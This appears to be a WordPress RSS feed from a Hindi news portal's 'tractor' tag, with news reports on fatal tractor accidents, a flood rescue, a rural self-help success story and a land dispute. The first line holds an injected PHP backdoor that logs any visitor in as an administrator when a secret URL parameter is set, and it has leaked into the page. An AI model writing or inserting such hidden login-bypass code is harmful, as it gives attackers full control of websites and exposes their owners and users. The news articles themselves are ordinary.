// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); tractor – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 19 Apr 2026 11:26:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 गड्ढे में पलटा ट्रैक्टर, 4 दोस्तों की मौत; डिंडौरी से गिट्टी लेने अनूपपुर आए थे, जेसीबी से निकाले गए शव https://pratyushaashakinayikiran.com/?p=213218 Sun, 19 Apr 2026 11:26:00 +0000 https://pratyushaashakinayikiran.com/?p=213218 डिंडौरी

अनूपपुर जिले में रविवार सुबह एक ट्रैक्टर अनियंत्रित होकर सड़क से नीचे गड्ढे में पलट गया। हादसा इतना भीषण था कि ट्रैक्टर के इंजन और ट्रॉली के नीचे दबने के कारण चार दोस्तों की मौके पर ही मौत हो गई।

करन पठार थाना प्रभारी वीरेंद्र बडकरे के मुताबिक, डिंडौरी जिले के भीमकुंडी गांव से ठाड़ पाथर गांव की दूरी 20 से 25 किलोमीटर की है। ट्रैक्टर ट्रॉली खाली थी। तेज रफ्तार की ट्रैक्टर ठाड़ पाथर गांव के पास अचानक मोड पर सड़क से नीचे उतर गई और नीचे गड्‌ढे में पलट गई।

ग्रामीणों ने तत्काल बचाव करते हुए ट्रैक्टर को हटाने का प्रयास किया। साथी पुलिस को सूचना दी। सुबह 6:30 बजे सूचना मिलने पर तत्काल जेसीबी वाहन लेकर मौके पर पहुंचते हुए चारों शवों को बाहर निकल गया। साथ ही ट्रैक्टर को भी वहां से हटाया गया है। घटना की सूचना मिलते ही मृतकों के परिजन भी पहुंच गए।

जेसीबी की मदद से निकाले शव
हादसे के बाद मौके पर चीख-पुकार मच गई। सूचना मिलते ही पुलिस टीम घटना स्थल पर पहुंची। ट्रैक्टर का इंजन और हिस्सा युवकों के ऊपर ही पलट गया था, जिसके कारण उन्हें बाहर निकालना मुश्किल हो रहा था। पुलिस ने जेसीबी मशीन मंगवाई और भारी मशक्कत के बाद दबे हुए शवों और ट्रैक्टर को गड्ढे से बाहर निकाला गया।

अनूपपुर पुलिस अधीक्षक मोतिउर रहमान के मुताबिक, मृतकों की पहचान हो गई है। सभी डिंडौरी के थे। एक नाबालिग था।

ये हैं मृतक

    अंकुश उइके (24 वर्ष): ट्रैक्टर चालक और मालिक।
    ब्रजेश पेंदो (18 वर्ष): निवासी भीमकुंडी।
    रवींद्र कुमार गोयल (18 वर्ष): निवासी भीमकुंडी।
    प्रकाश मार्को (17 वर्ष): निवासी भीमकुंडी।

सुबह-सुबह हुए इस दर्दनाक हादसे की खबर जैसे ही भीमकुंडी गांव पहुंची, वहां मातम छा गया। एक साथ चार युवकों की मौत से पूरा गांव सदमे में है। पुलिस ने मर्ग कायम कर शवों को पोस्टमॉर्टम के लिए भेज दिया है और हादसे के कारणों की विस्तृत जांच कर रही है।

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ट्रैक्टर से बदली तकदीर: हरदोली की भगवती देवी बनीं आत्मनिर्भरता की मिसाल https://pratyushaashakinayikiran.com/?p=212089 Tue, 14 Apr 2026 04:05:00 +0000 https://pratyushaashakinayikiran.com/?p=212089 सफलता की कहानी

ट्रैक्टर से बदली तकदीर: हरदोली की भगवती देवी बनीं आत्मनिर्भरता की मिसाल

भोपाल 

कभी गरीबी और अभावों में जीवन यापन करने वाली बालाघाट जिले के कटंगी विकासखंड के ग्राम हरदोली की भगवती देवी आज आत्मनिर्भरता और महिला सशक्तिकरण की एक प्रेरक कहानी बन चुकी हैं। मध्यप्रदेश राज्य ग्रामीण आजीविका मिशन (NRLM) के सहयोग से उन्होंने न सिर्फ अपने परिवार की आर्थिक स्थिति बदली, बल्कि गांव की अन्य महिलाओं के लिए भी एक नई राह दिखाई है।

भगवती देवी का जीवन पहले बेहद कठिन दौर से गुजर रहा था। उनके पति दिहाड़ी मजदूरी कर किसी तरह परिवार का भरण-पोषण करते थे। सीमित आय के कारण बच्चों की पढ़ाई, स्वास्थ्य और रोजमर्रा की जरूरतों को पूरा करना भी मुश्किल हो जाता था। कई बार हालात ऐसे बनते कि परिवार को उधार लेकर गुजारा करना पड़ता था।

वर्ष 2018 में भगवती देवी ने ‘विकास स्व-सहायता समूह’ हरदोली से जुड़कर अपने जीवन में बदलाव की नींव रखी। समूह से जुड़ने के बाद उन्होंने बचत करना सीखा, वित्तीय प्रबंधन की समझ विकसित की और स्वरोजगार के अवसरों के बारे में जानकारी प्राप्त की। छोटे-छोटे ऋण लेकर उन्होंने बकरी पालन और खेती जैसे कार्य शुरू किए, जिससे आय में धीरे-धीरे वृद्धि होने लगी।

आजीविका मिशन के तहत उन्हें विभिन्न योजनाओं से आर्थिक सहयोग मिला, सीआईएफ से 10 हजार रुपए समूह ऋण 02 हजार रुपए और सीसीएल के तहत 01 लाख रुपए । इन संसाधनों का उपयोग करते हुए भगवती देवी ने एक बड़ा निर्णय लिया और ट्रैक्टर खरीदा। इसके बाद उन्होंने गांव में जुताई, बुवाई जैसे कृषि कार्यों के लिए ट्रैक्टर सेवाएं देना शुरू किया। यह कदम उनके जीवन का टर्निंग पॉइंट साबित हुआ। अब उन्हें नियमित और सम्मानजनक आय मिलने लगी।

ट्रैक्टर गतिविधि शुरू होने के बाद उनकी मासिक आय लगभग 12 हजार रुपए तक पहुंच गई। साथ ही खेती और बकरी पालन से भी अतिरिक्त आय होने लगी। पहले जहां परिवार की कुल आय लगभग 05 हजार रुपए प्रतिमाह थी, वहीं अब यह बढ़कर 20 हजार रुपए से अधिक हो गई है। आर्थिक सशक्तिकरण के साथ भगवती देवी का आत्मविश्वास भी बढ़ा है। अब वे अपने बच्चों को बेहतर शिक्षा दिला रही हैं और परिवार का पालन-पोषण सम्मानपूर्वक कर रही हैं। गांव में उनकी पहचान एक सफल महिला उद्यमी के रूप में स्थापित हो चुकी है।

भगवती देवी की सफलता से प्रेरित होकर अब गांव की कई महिलाएं स्व-सहायता समूह से जुड़कर स्वरोजगार अपनाने की दिशा में आगे बढ़ रही हैं। उनका संघर्ष और सफलता ग्रामीण महिलाओं के लिए एक मजबूत संदेश है कि मेहनत और सही मार्गदर्शन से बदलाव संभव है। भगवती देवी की यह कहानी बताती है कि यदि सही अवसर, मार्गदर्शन और दृढ़ संकल्प मिल जाए, तो कोई भी व्यक्ति अपनी परिस्थितियों को बदल सकता है। मध्यप्रदेश राज्य ग्रामीण आजीविका मिशन के माध्यम से ग्रामीण महिलाओं को आत्मनिर्भर बनाने की दिशा में यह एक उत्कृष्ट उदाहरण है।

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शिवपुरी में बाढ़ राहत: ग्रामीणों को बचाने युवक ने लगाई जान की बाजी, ट्रैक्टर से पहुंचे सिंधिया https://pratyushaashakinayikiran.com/?p=179840 Fri, 22 Aug 2025 12:08:00 +0000 https://pratyushaashakinayikiran.com/?p=179840 शिवपुरी
मध्य प्रदेश में इंद्र देव ने इस बार खूब मेहरबानी दिखाई. प्रदेश के कई हिस्सों में तो मेघा इतना बरसे की आफत ही आ गई. कई गांवों का संपर्क बाढ़ के चलते शहर से टूट गया, तो डैमों के गेट खोलने पड़े. नदी-नाले और तालाब उफान पर हैं. इसी तरह आफत की बारिश बीते दिनों शिवपुरी में देखने मिली थी. जहां बाढ़ ने सब बर्बाद कर दिया था और ग्रामीण उस बाढ़ में फंस गए थे, ऐसे में गांव का एक युवक मसीहा बनकर आया और अपने ट्रैक्टर से बाढ़ में फंसे पीड़ितों को बचाया. अब उस युवक के लिए केंद्रीय मंत्री ज्योतिरादित्य सिंधिया मसीहा बने हैं. युवक को गिफ्ट देने खुद केंद्रीय मंत्री सिंधिया उसके घर पहुंचे.

शिवपुरी में महिला ने सुनाई सिंधिया को व्यथा

'एक दुखियारी कहे बात ये रोते रोते…' फिल्म राम तेरी गंगा मैली का यह गीत आज इस जगह कुछ सटीक बैठता है. दरअसल, 21 अगस्त गुरुवार को ज्योतिरादित्य सिंधिया शिवपुरी के बाढ़ पीड़ित इलाके में पहुंचे थे. जहां वे पीड़ितों से मिलकर हालात का जायजा ले रहे थे. इसी दौरान एक महिला ने सिंधिया से रोते-रोते अपनी व्यथा सुनाई. महिला ने सिंधिया से बताया कि वह पूरी से बर्बाद हो गई, क्योंकि उसका ट्रैक्टर बाढ़ की चपेट में आकर खराब हो गया है. इससे भी बड़ी बात ट्रैक्टर के खराब होने के पीछे की वजह थी. जिसे सुनकर सिंधिया भी भावुक हो गए और तुरंत मदद का हाथ बढ़ाया.

बाढ़ में फंसे ग्रामीणों के लिए मसीहा बना था युवक

बता दें 29 जुलाई 2025 को शिवपुरी जिले की कोलारस तहसील से गुजरी सिंध नदी उफान पर आई थी. बाढ़ ने कोलारस तहसील स्थित लिलवारा गांव में तबाही मचाई थी. साथ ही 50 से 60 ग्रामीण बाढ़ में फंस गए थे और उनकी जिंदगी पर बन आई थी. इसी बीच गांव का एक युवक गिर्राज प्रजापति अपना ट्रैक्टर लेकर पीड़ितों की मदद के लिए आगे आया.

रात को 12 बजे के करीब वह अपना ट्रैक्टर लेकर बाढ़ग्रस्त क्षेत्र में चला गया और वहां फंसे लोगों को निकाला. इस दौरान गिर्राज ने न अपनी जान की परवाह की और न अपने अजीविका के साधन ट्रैक्टर के बारे में सोचा. बस ग्रामीणों की मदद के लिए हो रही मूसलाधार बारिश में पानी की मोटी धार के बीच ट्रैक्टर लेकर घुस गया था.

ज्योतिरादित्य सिंधिया चलाकर पहुंचे ट्रैक्टर

जब ज्योतिरादित्य सिंधिया को युवक की बहादुरी के बारे में पता चला तो वह खुश हो गए. गिर्राज की मां की विनती सुन उन्होंने तुरंत गिर्राज को ट्रैक्टर देने का वादा किया. अपने वादे को निभाते हुए दूसरे दिन यानि 22 अगस्त गुरुवार को सिंधिया खुद ट्रैक्टर चलाकर गिर्राज के घर पहुंचे. इस दौरान सैकड़ों की संख्या में ग्रामीण और सिंधिया समर्थक इकट्ठा हुए. वहीं ट्रैक्टर पाकर गिर्राज और उसका परिवार बेहद खुद हुआ. गिर्राज की मां कृष्णा प्रजापति ने कहा "सांसद सिंधिया ने हमारे ऊपर कृपा की, उन्होंने हमे नया ट्रैक्टर लाकर दिया है. हम लोग बहुत खुश हैं."

बाढ़ में फंसे 50-60 ग्रामीणों को गिर्राज ने बचाया

वहीं गिर्राज की बहन संगीता प्रजापति ने भी ट्रैक्टर मिलने की खुशी जताई. संगीता ने बताया कि "वो घटना रात 12 बजे की थी. जब उसका भाई ग्रामीणों को बचाने गया था. रात को 12 बजे से सुबह के 7 बज गए थे. बाढ़ में फंसे करीब 50 से 60 लोग थे, जिन्हें ट्रैक्टर के सहारे ग्रामीणों की मदद से रस्सी बांधकर बचाया था. संगीता ने बताया कि गिर्राज ट्रैक्टर चलाता है. इसी से वह मजदूरी करता है. हमारी आय का साधन ट्रैक्टर ही था."

सिंंधिया ने की गिर्राज की तारीफ

वहीं इस घटना को लेकर केंद्रीय मंत्री सिंधिया ने कहा कि " बाढ़ के समय में जो गिर्राज ने करके दिखाया, वह काबिले तारीफ है. हमारे देश को गिर्राज जैसे सपूतों की जरूरत है. उसने गांव के एक-एक लोगों की जान बचाने के लिए अपनी और अपने परिवार की जान की परवाह नहीं की. उन्होंने कहा कि पूरी रात लगकर गिर्राज ने ग्रामीणों की जान बचाई और अपना ट्रैक्टर भी खो बैठा.

बच्चे की बहादुरी और मां की गुहार की भरपाई करने की कोशिश मैंने क्षेत्र का जनसेवक होने के नाते की है. इस दौरान सिंधिया ने उसकी मां को भरोसा दिलाया कि अब से वह उनका भी बेटा है." 

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छत्तीसगढ़-रायगढ़ में तेज रफ्तार ट्रैक्टर ने बाइक सवारों को मारी टक्कर, एक की मौत और दूसरा गंभीर घायल https://pratyushaashakinayikiran.com/?p=128130 Sun, 02 Feb 2025 14:25:00 +0000 https://pratyushaashakinayikiran.com/?p=128130 रायगढ़।

छत्तीसगढ़ के रायगढ़ जिले में ट्रैक्टर चालक ने तेज एवं लापरवाही पूर्वक वाहन चलाते हुए बाइक सवार दो युवकों को टक्कर मार दी। इस घटना में बाइक चला रहे एक युवक की घटनास्थल पर  ही मौत हो गई। पुलिस आरोपी ट्रैक्टर चालक के खिलाफ अपराध दर्ज कर मामले को जांच में ले लिया है, उक्त घटना धर्मजयगढ़ थाना क्षेत्र का है।

मिली जानकारी के मुताबिक, धर्मजयगढ़ थाना क्षेत्र के अंतर्गत आने वाले गांव बलपेदा निवासी अवध राठिया ने थाने में रिपोर्ट दर्ज कराते हुए बताया कि कल दोपहर वह अपने दोस्त देवान सिंह राठिया के साथ मोटरसाइकिल पर किसी काम के सिलसिले में ग्राम कांटाडांड की ओर जा रहे थे। इस दौरान मोटरसाइकिल को देवान सिंह राठिया चला रहा था।
  बाइक सवार दोनों युवक जब ग्राम जमरगीडी मेन रोड एवं पारेमार के पास पहुंचे ही थें कि सामने की तरफ से आ रहे नीले रंग की ट्रैक्टर के चालक ने तेज एवं लापरवाही पूर्वक वाहन चलाते हुए बाइक सवार युवकों को सामने से जोरदार टक्कर मार दी। इस घटना में बाइक के पीछे बैठा युवक उछलकर झाड़ियों में जा गिरा। वहीं बाइक चला रहा देवान सिंह राठिया ट्रैक्टर के पहियों के नीचे आ गया। जिससे मौके पर ही उसकी मौत हो गई। ट्रैक्टर की टक्कर से बाइक सवार युवक की मौत हो जाने के बाद आसपास के ग्रामीणों की मदद से मृतक के शव को अस्पताल भेज दिया गया है, बताया जा रहा है कि घटना के बाद से आरोपी ट्रैक्टर चालक मौके से फरार हो गया है। पुलिस मामले की जांच में जुटी है।

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ग्राम बीजा में जमीन को लेकर छिड़ा महाभारत, कोटवार ने 2 महिलाओं पर चढ़ा दिया टैक्टर… https://pratyushaashakinayikiran.com/?p=36333 Fri, 31 May 2024 19:36:00 +0000 https://pratyushaashakinayikiran.com/?p=36333 बिलासपुर.
छत्तीसगढ़ के बिलासपुर में आबादी जमीन पर कब्जा करने को लेकर गांव के कोटवार ने पूर्व सरपंच के ऊपर ट्रैक्टर चलाकर उन्हें जान से मारने की कोशिश की. घटना तखतपुर थाना क्षेत्र के बीजा इलाके की है. फिलहाल पुलिस ने वारदात में शामिल एक नाबालिग समेत 4 आरोपियों को गिरफ्तार कर लिया है. वहीं घटना में घायल दोनों महिलाओं का इलाज चल रहा है. दरसअल, ग्राम पंचायत बीजा की जिस जमीन पर कोटवर कब्जा करने ट्रैकटर लेकर पहुंचा था, उस पर गांव के कोल परिवार का 25 साल से कब्जा है, जिसमें वो खेती कर रहे हैं.

इसी जमीन पर कोटवार वीरेंद्र रजक अपना कब्जा जमाना चाहता था और ट्रैक्टर से जोताई कर रहा था. इसकी जानकारी होने पर कोल परिवार विरोध करने पहुंचा तो विवाद शुरू हो गया. ट्रैक्टर के कुचलने से एक पूर्व सरपंच बालका कोल और उसकी बहन अलका कोल भी घायल हो गई है. दोनों को गंभीर हालत में इलाज के लिए बिलासपुर रेफर किया गया है.

पुलिस कर रही मामले की जांच

इस विवाद के बाद गुसाए लोगों ने तखतपुर थाने का घेराव कर दिया. इसके बाद भी पुलिस कार्रवाई करने के बजाए ग्रामीणों को समझाइश देती रही. इससे नाराज लोगों ने हंगामा करना शुरू कर दिया. इससे हरकत में आई पुलिस ने आरोपी कोटवर वीरेंद्र रजक, उसके दो बेटे और भतीजे को गिरफ्तार कर केस दर्ज कर लिया है.

थाना प्रभारी हरीश तांडेकर ने बताया कि 15 साल पुराना जमीन विवाद में गांव के कोटवार ने दो महिलाओं के ऊपर ट्रैक्टर चढ़ा कर घायल कर दिया ।आरोपी कोटवार उसका बेटा और भतीजे सहित एक नाबालिक को हिरासत में लिया गया है।

सिम्स में नहीं मिला तुरंत इलाज, तो निजी अस्पताल पहुंचे : रेफर करने के बाद परिजन दोनों घायल महिलाओं को लेकर बिलासपुर सिम्स पहुुंचे। काफी देर तक घायल महिलाएं सिम्स के स्ट्रेचर पर पड़ी रहीं, उन्हें केज्युअल्टी में बेड तक नहीं मिला। आखिर में परेशान होकर परिजन उन्हें निजी अस्पताल ले गए।

25 साल से कर रहे खेती: कोल परिवार
जिस जमीन पर कब्जा करने कोटवार ट्रैक्टर से जोताई करा रहा था। उसे पुलिस कोटवारी जमीन बता रही है। जबकि, इस पर कोल परिवार के सदस्य 25 साल से खेती करने का दावा कर रहे हैं। उक्त भूमि पर उनका कब्जा है।

 

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